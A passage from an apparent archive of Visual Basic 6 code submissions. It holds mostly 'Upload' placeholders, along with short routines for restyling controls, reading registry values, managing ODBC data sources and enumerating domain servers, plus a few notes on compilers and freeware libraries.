sStringFromRVA, lVA\n If InStr(sStringFromRVA, vbNullChar) Then\n sStringFromRVA = Left$(sStringFromRVA, InStr(sStringFromRVA, vbNullChar) - 1)\n End If\nEnd Function\n"},{"WorldId":1,"id":55641,"LineNumber":1,"line":"--------------------------------\nOpen a new project, \non Form1 add this controls:\n--------------------------------\n- 1 CommandButton (Command1)\n- 1 OptionButton (Option1)\n- 1 TextBox (Text1)\n- Set Form1.ClipControls = False\n--------------------------------\nAdd this code to Form1:\n--------------------------------\nPrivate Sub Form_Load()\n With Command1\n .Caption = \"Pseudo Frame\"\n .Left = 300\n .Top = 300\n .ZOrder 1\n End With\n With Text1\n .Height = 330\n .Left = 510\n .Top = 600\n End With\n With Option1\n .Height = 330\n .Left = 510\n .Top = 1050\n End With\n ChangeButtonStyle Command1, Me, 300, 300, 1800, 1800\nEnd Sub\n--------------------------------\nAdd to Module this code\n--------------------------------\nPublic Sub ChangeButtonStyle(ByRef cmd As CommandButton, _\n ByVal Parent As Object, _\n Optional Left As Long = 0, _\n Optional Top As Long = 0, _\n Optional Width As Long = 0, _ \n Optional Height As Long = 0)\n '/ Show a CommandButton like a Frame control.\n '/ Also, set the backcolor text to the\n '/ background color\n On Error Resume Next\n '/ Change the CommandButton style\n SendMessage cmd.hWnd, BM_SETSTYLE, BS_GROUPBOX, 0\n '/ Set the backcolor text to emulate the\n '/ transparent background\n cmd.BackColor = cmd.Container.BackColor\n '/ IMPORTANT: Set the TabStop property to false\n '/ otherwise when lost the focus pressing the TAB key \n '/ the style is changed to CheckBox \n '/ Also, the focus state don't need \n '/ with this pseudo-frame.\n cmd.TabStop = False\n '/ Optionally, you can move and size the\n '/ commandbutton (i.e. if you use a\n '/ PictureBox as Container:\n cmd.Move Left, Top, IIf(Width = 0, Parent.Width, Width), _\n IIf(Height = 0, Parent.Height, Height)\n '/ IMPORTANT: This property MUST to be \n '/ set on Design-Time, otherwise\n '/ has not effect!\n '/ --------------------------------------\n '/ Parent.ClipControls = False\n '/ --------------------------------------\nEnd Sub \n"},{"WorldId":1,"id":55642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55668,"LineNumber":1,"line":"Download the zip file. Very short .txt file with all the sample code."},{"WorldId":1,"id":55670,"LineNumber":1,"line":"'Retrieves a REG_SZ registry value\nPublic Function sGetNamedRegValue(sKey As String, sValue As String) As String\n Dim sHive As String\n Dim hKey As Long\n Dim hHive As Long\n Dim sData As String\n Dim lLenData As Long\n lLenData = 255\n sData = String$(255, 0)\n \n sHive = Left(sKey, InStr(sKey, \"\\\") - 1)\n sKey = Replace(sKey, sHive & \"\\\", \"\")\n \n Select Case sHive\n Case \"HKEY_CLASSES_ROOT\"\n hHive = HKEY_CLASSES_ROOT\n Case \"HKEY_CURRENT_CONFIG\"\n hHive = HKEY_CURRENT_CONFIG\n Case \"HKEY_CURRENT_USER\"\n hHive = HKEY_CURRENT_USER\n Case \"HKEY_DYN_DATA\"\n hHive = HKEY_DYN_DATA\n Case \"HKEY_LOCAL_MACHINE\"\n hHive = HKEY_LOCAL_MACHINE\n Case \"HKEY_PERFORMANCE_DATA\"\n hHive = HKEY_PERFORMANCE_DATA\n Case \"HKEY_USERS\"\n hHive = HKEY_USERS\n End Select\n \n Dim lKeyType As Long\n \n If RegOpenKeyEx(hHive, sKey, 0, KEY_READ, hKey) = ERROR_SUCCESS Then\n If RegQueryValueEx(hKey, sValue, 0, lKeyType, ByVal sData, lLenData) = ERROR_SUCCESS Then\n sGetNamedRegValue = Left(sData, InStr(sData, Chr(0)) - 1)\n RegCloseKey hKey\n Exit Function\n End If\n RegCloseKey hKey\n End If\n \n sGetNamedRegValue = \"\"\nEnd Function\n'Retrieves a default REG_SZ registry value\nPublic Function sGetRegValue(sKey As String) As String\n Dim sHive As String\n Dim hKey As Long\n Dim hHive As Long\n Dim sData As String\n Dim lLenData As Long\n lLenData = 255\n sData = String$(255, 0)\n \n sHive = Left(sKey, InStr(sKey, \"\\\") - 1)\n sKey = Replace(sKey, sHive & \"\\\", \"\")\n \n Select Case sHive\n Case \"HKEY_CLASSES_ROOT\"\n hHive = HKEY_CLASSES_ROOT\n Case \"HKEY_CURRENT_CONFIG\"\n hHive = HKEY_CURRENT_CONFIG\n Case \"HKEY_CURRENT_USER\"\n hHive = HKEY_CURRENT_USER\n Case \"HKEY_DYN_DATA\"\n hHive = HKEY_DYN_DATA\n Case \"HKEY_LOCAL_MACHINE\"\n hHive = HKEY_LOCAL_MACHINE\n Case \"HKEY_PERFORMANCE_DATA\"\n hHive = HKEY_PERFORMANCE_DATA\n Case \"HKEY_USERS\"\n hHive = HKEY_USERS\n End Select\n \n If RegQueryValue(hHive, sKey, sData, lLenData) = ERROR_SUCCESS Then\n sGetRegValue = Left(sData, InStr(sData, Chr(0)) - 1)\n Exit Function\n End If\n \n sGetRegValue = \"\"\nEnd Function"},{"WorldId":1,"id":55675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55732,"LineNumber":1,"line":"I can't upload this code. You can dowload it at:\nwww.piedrasrusticas.as.ro/Manager.zip"},{"WorldId":1,"id":55741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55772,"LineNumber":1,"line":"I've been programming in VB for many years and i only found out about this handy shortcut now!\ntype the first letter or first few letters of a variable name, then press [CTRL]+[SPACE] or the button shown in the screen-shot and the var name will be completed! very simple, yet i never knew about it, is it just me being stup!d? let me know..."},{"WorldId":1,"id":55773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55795,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55846,"LineNumber":1,"line":"Happy Programming!"},{"WorldId":1,"id":55848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55850,"LineNumber":1,"line":"Option Explicit\nPrivate Type tNested\n Blah As String\n Blabla As Long\nEnd Type\nPrivate Type tSomething\n Stuff As String\n MoreStuff As Long\n aNested() As tNested\n Whatever As Integer\nEnd Type\nPrivate aSomething() As tSomething\nPrivate Sub Form_Click()\n Dim i As Long\n ReDim aSomething(1 To 500)\n For i = 1 To 500\n ReDim aSomething(i).aNested(1 To 10)\n Next i\n \n aSomething(12).aNested(7).Blah = \"Hallo Michael\"\n \n Debug.Print aSomething(12).aNested(7).Blah\nEnd Sub"},{"WorldId":1,"id":55860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55879,"LineNumber":1,"line":"If you wish to download PantherXP, goto www.pantherxp.dr-fire.org and goto the downloads section! I am paying for the hosting so you wont have problems downloading it."},{"WorldId":1,"id":55882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55894,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55908,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55964,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55971,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56011,"LineNumber":1,"line":"This Class Include \nfollowing functions \nAdd : To Add any item Usage: Add(item,tag,color) \nAddArray : You Can Add Array Which You Defined => Add(item(),tag(),color()) \nClear : To Empity the collection => Clear() \nCount : How Many Record => count \nEditItem : Edit Any Record EditItem(number,newitem,newtag,newcolor) \nFindOne : Find first record which start string what u want => FindOne(strFind) \nFindAll : Find all records which start string what u want =>FindAll(strFind) \nvariant() \nGetAll :Get The All Records seperated with a delimiter =>GetAll(MyDelimiter) \nInsertOne : Insert A Record After A Record =>InsertOne(startIn, Optional item, \nOptional Tag, Optional color) \nInsertArray : Insert Array Inside records \nRandomFillNumbers : Fill The Collection with Randomize Integers =>RandomFillNumbers(min,max,times) \nRandomRecordItem : Gives a Randomize Record \nRecordItem : Gives a item \nRecordTag : Gives a Tag \nRecordColor : Gives a Color \nRemove :Removes a record \nRemoveBetween : Removes the record between x and y =>RemoveBetween(x,y) \nSort : Sort by desc or asc or return before sort => Sort(SortIt as Boolean,Desc \nas Boolean) \n \n"},{"WorldId":1,"id":56021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56038,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56045,"LineNumber":1,"line":"Free\nObsolete Versions Of VB, Basic &\nOther Compilers\nThis\nis a third party review on where to find\nFree Obsolete Versions Of VB, Basic\n& Other Compilers.\nI\ndiscovered these programming sites with\nobsolete editor/compilers while digging\naround the web the other day.\nI was\nespecially fond of discovering http://imaginatica.us.es/~wopr2k/qbdl/\nbecause they have every version of basic\ncompiler that Microsoft manufactured\nfrom the beginning up to VB4. These\nprograms are obsolete &\ndiscontinued. Most of these files are\nzipped up floppy disks so they may take\na little finagling to get setup. I\ntested VBDOS & VB for windows 1,2,3\n2 was the trickiest to get setup. Simply\nread the file HOW TO INSTALL.txt\nincluded in the zip file & it\ncontains the trick. You may also want to\npay special attention to the file named\nPACKING.LST , it is a text file.\nI was\nalso impressed to find this section at\nBorland to obtain free complimentary\ncopies of their older obsolete\ncompilers. http://community.borland.com/museum/\nWell\nnow you know where to get older\ncompilers, now your going to need some\nold code samples to go with them. LOL\nThe last & final site in this review\nis http://www.bbs.motion-bg.com . The\nSore online BBS has a ton of old\nobsolete source code.\nBy\nthis time I guess your pretty much\ngetting the picture, I was looking into\nbuilding DOS 5 applications & that's\nwhat took me on this journey. Even thou\nI was able to find & setup all these\ncompilers I still was not able to find a\n32 bit front-end editor for VBDOS. Which\nis what I truly want. Yes folks I am\nsearching for a 32 bit RAD editor built\nfor a 8 bit DOS compiler. Seems like\neveryone was so busy moving forward they\nlost track of the extreme importance of\nbackwards compatibility. If anyone knows\nwhere I can find source code for one\nplease contact me!\n"},{"WorldId":1,"id":56053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56083,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58952,"LineNumber":1,"line":"Public Function CreateDSN(ODBCType As ODBC_TYPE, DBType As DSN_DATABASE_TYPE, pstrDSN As String, pstrDesc As String, pstrPath As String, Optional pstrSQLServer As String) As Boolean\n \n Dim lngRet As Long\n Dim strDriver As String\n Dim strAttributes As String\n Select Case DBType\n Case MICROSOFT_ACCESS\n strDriver = \"Microsoft Access Driver (*.mdb)\" & Chr(0)\n strAttributes = \"DSN=\" & pstrDSN & Chr(0)\n strAttributes = strAttributes & \"Description=\" & pstrDesc & Chr(0)\n strAttributes = strAttributes & \"Uid=Admin\" & Chr(0) & \"pwd=\" & Chr(0)\n strAttributes = strAttributes & \"DBQ=\" & pstrPath & Chr(0)\n Case MICROSOFT_SQL_SERVER\n strDriver = \"SQL Server\" & Chr(0)\n strAttributes = \"DSN=\" & pstrDSN & Chr(0)\n strAttributes = strAttributes & \"Description=\" & pstrDesc & Chr(0)\n strAttributes = strAttributes & \"SERVER=\" & pstrSQLServer & Chr(0)\n strAttributes = strAttributes & \"DATABASE=\" & pstrPath & Chr(0)\n strAttributes = strAttributes & \"Trusted_Connection=Yes\" & Chr(0)\n '\"SERVER=MySQL\\0ADDRESS=MyServer\\0NETWORK=dbmssocn\\0\"\n End Select\n \n If ODBCType = ODBC_USER_DNS Then\n lngRet = SQLConfigDataSource(vbAPINull, ODBC_ADD_DSN, strDriver, strAttributes)\n Else\n lngRet = SQLConfigDataSource(vbAPINull, ODBC_ADD_SYS_DSN, strDriver, strAttributes)\n End If\n \n CreateDSN = (lngRet = 1)\n \nEnd Function\nPublic Function ModifyDSN(ODBCType As ODBC_TYPE, DBType As DSN_DATABASE_TYPE, pstrDSN As String, pstrDesc As String, pstrPath As String, Optional pstrSQLServer As String) As Boolean\n \n Dim lngRet As Long\n Dim strDriver As String\n Dim strAttributes As String\n Select Case DBType\n Case MICROSOFT_ACCESS\n strDriver = \"Microsoft Access Driver (*.mdb)\" & Chr(0)\n strAttributes = \"DSN=\" & pstrDSN & Chr(0)\n strAttributes = strAttributes & \"Description=\" & pstrDesc & Chr(0)\n strAttributes = strAttributes & \"Uid=Admin\" & Chr(0) & \"pwd=\" & Chr(0)\n strAttributes = strAttributes & \"DBQ=\" & pstrPath & Chr(0)\n Case MICROSOFT_SQL_SERVER\n strDriver = \"SQL Server\" & Chr(0)\n strAttributes = \"DSN=\" & pstrDSN & Chr(0)\n strAttributes = strAttributes & \"Description=\" & pstrDesc & Chr(0)\n strAttributes = strAttributes & \"SERVER=\" & pstrSQLServer & Chr(0)\n strAttributes = strAttributes & \"DATABASE=\" & pstrPath & Chr(0)\n strAttributes = strAttributes & \"Trusted_Connection=Yes\" & Chr(0)\n End Select\n \n If ODBCType = ODBC_USER_DNS Then\n lngRet = SQLConfigDataSource(vbAPINull, ODBC_CONFIG_DSN, strDriver, strAttributes)\n Else\n lngRet = SQLConfigDataSource(vbAPINull, ODBC_CONFIG_SYS_DSN, strDriver, strAttributes)\n End If\n ModifyDSN = (lngRet = 1)\n \nEnd Function\nPublic Function DeleteDSN(ODBCType As ODBC_TYPE, DBType As DSN_DATABASE_TYPE, pstrDSN As String) As Boolean\n \n Dim lngRet As Long\n Dim strDriver As String\n Dim strAttributes As String\n Select Case DBType\n Case MICROSOFT_ACCESS\n strDriver = \"Microsoft Access Driver (*.mdb)\" & Chr(0)\n Case MICROSOFT_SQL_SERVER\n strDriver = \"SQL Server\" & Chr(0)\n End Select\n \n strAttributes = \"DSN=\" & pstrDSN & Chr(0)\n \n If ODBCType = ODBC_USER_DNS Then\n lngRet = SQLConfigDataSource(vbAPINull, ODBC_REMOVE_DSN, strDriver, strAttributes)\n Else\n lngRet = SQLConfigDataSource(vbAPINull, ODBC_REMOVE_SYS_DSN, strDriver, strAttributes)\n End If\n DeleteDSN = (lngRet = 1)\n \nEnd Function\nPublic Function DetectDSN(ODBCType As ODBC_TYPE, pstrDSNName As String) As Boolean\n Dim intRet As Integer\n Dim strDSN As String\n Dim strDriver As String\n Dim intDSNLen As Integer\n Dim intDriverLen As Integer\n Dim lngEnvHandle As Long\n Dim blnFound As Boolean\n \n blnFound = False\n pstrDSNName = Trim$(pstrDSNName)\n intRet = SQLAllocEnv(lngEnvHandle)\n strDSN = Space(1024)\n strDriver = Space(1024)\n \n If ODBCType = ODBC_USER_DNS Then\n intRet = SQLDataSources(lngEnvHandle, SQL_FETCH_FIRST_USER, strDSN, 1024, intDSNLen, strDriver, 1024, intDriverLen)\n Else\n intRet = SQLDataSources(lngEnvHandle, SQL_FETCH_FIRST_SYSTEM, strDSN, 1024, intDSNLen, strDriver, 1024, intDriverLen)\n End If\n \n If intRet = SQL_SUCCESS Then\n If Trim$(strDSN) <> \"\" Then\n strDSN = Mid$(strDSN, 1, intDSNLen)\n If Trim$(strDSN) = pstrDSNName Then\n blnFound = True\n End If\n End If\n \n Do Until (intRet <> SQL_SUCCESS) Or blnFound\n strDSN = Space(1024)\n strDriver = Space(1024)\n intRet = SQLDataSources(lngEnvHandle, SQL_FETCH_NEXT, strDSN, 1024, intDSNLen, strDriver, 1024, intDriverLen)\n \n If Trim$(strDSN) <> \"\" Then\n strDSN = Mid$(strDSN, 1, intDSNLen)\n If Trim$(strDSN) = pstrDSNName Then\n blnFound = True\n End If\n End If\n Loop\n End If\n \n intRet = SQLFreeEnv(lngEnvHandle)\n DetectDSN = blnFound\n \nEnd Function\nPrivate Function GetServers(Optional ServerType As SV_TYPE = SV_TYPE_ALL) As String\n 'lists all servers of the specified type\n 'that are visible in a domain.\n \n Dim sDomain As String\n Dim bufptr As Long\n Dim dwEntriesread As Long\n Dim dwTotalentries As Long\n Dim dwResumehandle As Long\n Dim se100 As SERVER_INFO_100\n Dim success As Long\n Dim nStructSize As Long\n Dim cnt As Long\n Dim St As String\n nStructSize = LenB(se100)\n \n 'Call passing MAX_PREFERRED_LENGTH to have the\n 'API allocate required memory for the return values.\n '\n 'The call is enumerating all machines on the\n 'network (SV_TYPE_ALL); however, by Or'ing\n 'specific bit masks for defined types you can\n 'customize the returned data. For example, a\n 'value of 0x00000003 combines the bit masks for\n 'SV_TYPE_WORKSTATION (0x00000001) and\n 'SV_TYPE_SERVER (0x00000002).\n '\n 'dwServerName must be Null. The level parameter\n '(100 here) specifies the data structure being\n 'used (in this case a SERVER_INFO_100 structure).\n '\n 'The domain member is passed as Null, indicating\n 'machines on the primary domain are to be retrieved.\n 'If you decide to use this member, pass\n 'StrPtr(\"domain name\"), not the string itself.\n success = NetServerEnum(0&, _\n 100, _\n bufptr, _\n MAX_PREFERRED_LENGTH, _\n dwEntriesread, _\n dwTotalentries, _\n ServerType, _\n 0&, _\n dwResumehandle)\n 'if all goes well\n If success = NERR_SUCCESS And _\n success <> ERROR_MORE_DATA Then\n \n 'loop through the returned data, adding each\n 'machine to the list\n For cnt = 0 To dwEntriesread - 1\n \n 'get one chunk of data and cast\n 'into an SERVER_INFO_100 struct\n 'in order to add the name to a list\n CopyMemory se100, ByVal bufptr + (nStructSize * cnt), nStructSize\n \n St = St & IIf(St = \"\", \"\", vbCrLf) & GetPointerToByteStringW(se100.sv100_name)\n \n Next\n \n End If\n \n 'clean up regardless of success\n Call NetApiBufferFree(bufptr)\n \n 'return entries as sign of success\n GetServers = St\nEnd Function\nPrivate Function GetPointerToByteStringW(ByVal dwData As Long) As String\n \n Dim tmp() As Byte\n Dim tmplen As Long\n \n If dwData <> 0 Then\n \n tmplen = lstrlenW(dwData) * 2\n \n If tmplen <> 0 Then\n \n ReDim tmp(0 To (tmplen - 1)) As Byte\n CopyMemory tmp(0), ByVal dwData, tmplen\n GetPointerToByteStringW = tmp\n \n End If\n \n End If\n \nEnd Function\nFunction CurrentPrimaryDomainController() As String\n CurrentPrimaryDomainController = GetServers(SV_TYPE_DOMAIN_CTRL)\nEnd Function\nFunction CurrentLogonUserName(Optional ByVal sUser As String = \"\") As String\n Dim sNom As String\n Dim sUserName As String\n Dim sPrenom As String\n \n On Error GoTo CurrentLogonUserName_Err\n \n If sUser = \"\" Then sUser = CurrentLogonUser()\n Dim MyObj As Object\n Set MyObj = GetObject(\"WinNT://\" & CurrentPrimaryDomainController() & \"/\" & sUser & \",user\")\n sUserName = MyObj.Fullname\n If InStr(sUserName, \",\") > 0 Then\n sNom = Mid$(sUserName, 1, InStr(sUserName, \",\") - 1)\n sNom = Trim$(sNom)\n sPrenom = Mid$(sUserName, InStr(sUserName, \",\") + 1)\n sPrenom = Trim$(sPrenom)\n If sPrenom <> \"\" Then\n sUserName = sPrenom & \" \" & sNom\n Else\n sUserName = sNom\n End If\n sUserName = Trim$(sUserName)\n End If\nCurrentLogonUserName_Err:\n If Err.Number <> 0 Then Err.Clear\n Set MyObj = Nothing\n If sUserName = \"\" Then sUserName = sUser\n CurrentLogonUserName = sUserName\nEnd Function\nFunction CurrentLogonUser() As String\n Dim UserLoginName As String\n UserLoginName = Space(200)\n Call GetUserName(UserLoginName, 200)\n UserLoginName = Trim$(UserLoginName)\n UserLoginName = Mid$(UserLoginName, 1, Len(UserLoginName) - 1)\n CurrentLogonUser = UCase$(UserLoginName)\nEnd Function\nFunction CurrentComputerName() As String\n Dim St As String\n St = Space(1024)\n Call GetComputerName(St, 1024)\n CurrentComputerName = Mid$(St, 1, InStr(St, Chr(0)) - 1)\nEnd Function\n"},{"WorldId":1,"id":58956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58961,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58963,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59038,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59145,"LineNumber":1,"line":"This is just a quick note about a freeware DLL I stumbled across recently. It's called the XNumbers ActiveX Multiprecision Math Library. It was written for use with VB6. As you can see from the screen shot it fits in perfectly with a VB6 project I've been working on for quite some time now. XNumbers is a simple-to-use DLL that you register with REGSVR32.EXE. Include a reference in your project like this:\nDim XPM As New XNumbers\nand you're ready to go. The site says it doesn't work with Win98 but I use it with XP\nand 98 with no problem. Anyone doing mathematically-oriented projects and wanting higher precision than normally allowed might want to check it out. It comes with .PDF \ndocumentation and has a vast array of callable functions (including a built-in high-precision expression parser).\nHope this helps someone. I'd be interested in hearing if it works well for you.\nThe site's address/download page is:\nhttp://digilander.libero.it/foxes/SoftwareDownload.htm\nProduct created by Leonardo Volpi and the Foxes Team.\nIf you like this, thank him! I can't believe they're just giving this away.\n"},{"WorldId":1,"id":59155,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59217,"LineNumber":1,"line":" \n So, \nyou want a file to open in your program, just \nby opening the file, not starting the program first?┬á Read \non...\nFirst, you need to come up with the extension(s) that your \nprogram needs to be associated with.┬á For example if you have a program \nthat saves a profile, \".prf\" might be an appropriate extension.┬á Just make \nsure that your extension is not already used by something else.┬á To do \nthis, enter the registry editor ([click] Start -> [click] Run... -> [type] 